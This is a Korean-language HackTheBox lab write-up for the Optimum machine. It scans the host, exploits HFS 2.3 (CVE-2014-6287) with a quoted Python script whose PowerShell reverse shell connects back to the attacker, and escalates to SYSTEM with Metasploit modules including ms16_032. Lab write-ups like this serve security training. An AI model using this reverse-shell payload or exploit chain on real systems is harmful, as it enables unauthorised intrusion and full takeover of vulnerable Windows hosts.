HackTheBox Labs Writeup - Optimum

HackTheBox Labs Writeup - Optimum

이 글에서는 HackTheBox Labs 머신 중 하나인 Optimum 머신에 대한 풀이 방법에 대해 설명한다.

User Flag

우선 nmap 을 실행해 공격 대상 서버에 대한 정보를 수집했다.

$ nmap -sV -A -T4 -Pn 10.10.10.8 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-06 10:01 EDT
Nmap scan report for 10.10.10.8
Host is up (0.20s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|2008|7 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2012 R2 (97%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   202.62 ms 10.10.14.1
2   204.33 ms 10.10.10.8

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.61 seconds

특별한 서비스는 보이지 않고 80번 포트에서 HttpFileServer 라는 이름으로 http 서버를 서비스 중인 것을 확인할 수 있다.

웹 페이지를 보면 HttpFileServer 이며 버전이 2.3임을 명시하고 있다. 구글링 해본 결과 해당 버전은 RCE 취약점이 존재하니 이를 이용할 수 있다.

HttpFileServer 웹페이지

구글링하여 HFS 2.3 RCE 취약점 (CVE-2014-6287) 의 exploit 코드를 찾을 수 있다. 코드를 대충 분석해보면 취약점이 존재하는 HFS 서버에 search 파라미터로 %00 과 인코딩된 payload를 전달해 리버스셸을 수립한다.

# Define the command to be written to a file
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# Encode the command in base64 format
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("\nEncoded the command in base64 format...")

# Define the payload to be included in the URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# Encode the payload and send a HTTP GET request
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("\nEncoded the payload and sent a HTTP GET request to the target...")

exploit 스크립트를 다운로드 해 설정 값을 적절히 입력하고 실행하면 kostas유저 권한의 셸을 얻을 수 있다.

$ python 49584.py                                   

Encoded the command in base64 format...

Encoded the payload and sent a HTTP GET request to the target...

Printing some information for debugging...
lhost:  10.10.14.3
lport:  1111
rhost:  10.10.10.8
rport:  80
payload:  exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAiACwAMQAxADEAMQApADsAIAAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsA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AIAAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAIAAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

Listening for connection...
listening on [any] 1111 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.8] 49158
ls


    Directory: C:\Users\kostas\Desktop


Mode                LastWriteTime     Length Name                                                                      
----                -------------     ------ ----                                                                      
-a---         18/3/2017   2:11 ??     760320 hfs.exe                                                                   
-ar--         13/4/2025   1:58 ??         34 user.txt                                                                  

kostas 유저의 Desktop 에서 유저 플래그를 찾을 수 있다.

PS C:\Users\kostas\Desktop> type user.txt        

Root Flag

HFS 의 버전이 오래되기도 했으니 어쩌면 Metasploit 에 루트 권한을 얻을 수 있는 취약점이 있을지도 몰라 확인해보기로 했다.

$ msfconsole                                             

search hfs 를 실행해 hfs 관련 취약점을 검색해보았다. 여러 취약점을 테스트해보았는데 exploit/windows/http/rejetto_hfs_exec 취약점이 유효했다. use 4 를 실행해 해당 모듈을 선택한다.

msf6 > search hfs

Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
   0  exploit/multi/http/git_client_command_exec           2014-12-18       excellent  No     Malicious Git and Mercurial HTTP Server For CVE-2014-9390
   1    \_ target: Automatic                               .                .          .      .
   2    \_ target: Windows Powershell                      .                .          .      .
   3  exploit/windows/http/rejetto_hfs_rce_cve_2024_23692  2024-05-25       excellent  Yes    Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution
   4  exploit/windows/http/rejetto_hfs_exec                2014-09-11       excellent  Yes    Rejetto HttpFileServer Remote Command Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/http/rejetto_hfs_exec

show options 를 실행해 exploit/windows/http/rejetto_hfs_exec 모듈에 필요한 옵션이 무엇인지 확인한다.

msf6 exploit(windows/http/rejetto_hfs_exec) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               no        Seconds to wait before terminating web server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
                                         loit.html
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machin
                                         e or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The path of the web application
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.119.138  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

RHOSTS 옵션은 필수이며, 디폴트 설정이 없으니 공격 대상 서버 주소를 적절히 지정한다. LHOST 도 공격 대상 머신의 네트워크와 연결된 인터페이스를 선택 후, run 을 실행한다.

msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.10.10.8
RHOSTS => 10.10.10.8
msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST tun0
LHOST => 10.10.14.7
msf6 exploit(windows/http/rejetto_hfs_exec) > run

[*] Started reverse TCP handler on 10.10.14.7:4444 
[*] Using URL: http://10.10.14.7:8080/tIkFDLq1KLPA23
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /tIkFDLq1KLPA23
[*] Sending stage (177734 bytes) to 10.10.10.8
[!] Tried to delete %TEMP%\PNcGTETSnKfKqA.vbs, unknown result
[*] Meterpreter session 1 opened (10.10.14.7:4444 -> 10.10.10.8:49166) at 2025-04-13 12:07:52 -0400
[*] Server stopped.

세션 수립에 성공하여 meterpreter 프롬프트가 생겼다. shell 명령어를 실행해 셸을 얻어보자.

meterpreter > shell

얻은 셸로 whoami 를 실행해보았더니 이전 과정에서 얻은 유저 kostas 다. 아무래도 이 취약점은 권한을 상승시키는 취약점은 아니었나보다. 뻘짓을 해버렸다.

C:\Users\kostas\Desktop>whoami
whoami
optimum\kostas

세션을 닫고 bg 를 실행해 다시 msf6 프롬프트로 돌아왔다. 이번엔 local_exploit_suggester 모듈을 사용해 권한 상승 취약점을 찾아보기로 했다.

msf6 exploit(windows/http/rejetto_hfs_exec) > use local_exploit_suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester  .                normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

[*] Using post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > 

필요한 옵션을 보니 세션만 있으면 된다. 아까 얻은 세션을 이용하자.

msf6 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run

local_exploit_suggester 모듈이 자동으로 검색할 결과, 총 6개의 유력한 취약점을 찾아주었다.

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/bypassuac_sluihijack                     Yes                      The target appears to be vulnerable.
 4   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!                                                                  
 5   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.                                                                                                                                
 6   exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable.

exploit/windows/local/ms16_032_secondary_logon_handle_privesc 모듈을 선택해 공격을 시도해보았다. 앞선 모듈과 마찬가지로 필요한 옵션을 확인하고 지정해주었다.

msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set SESSION 1
msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set LHOST tun0

공격에 성공하여 meterpreter 프롬프트를 얻었다. getuid 를 실행하면 유저 권한이 NT AUTHORITY\SYSTEM 인 것을 확인할 수 있다.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

shell 명령어로 셸을 얻고, C:\Users\Administrator\Desktop 경로로 이동해 root.txt 에서 Root flag 를 얻을 수 있다,

C:\Users\Administrator\Desktop>type root.txt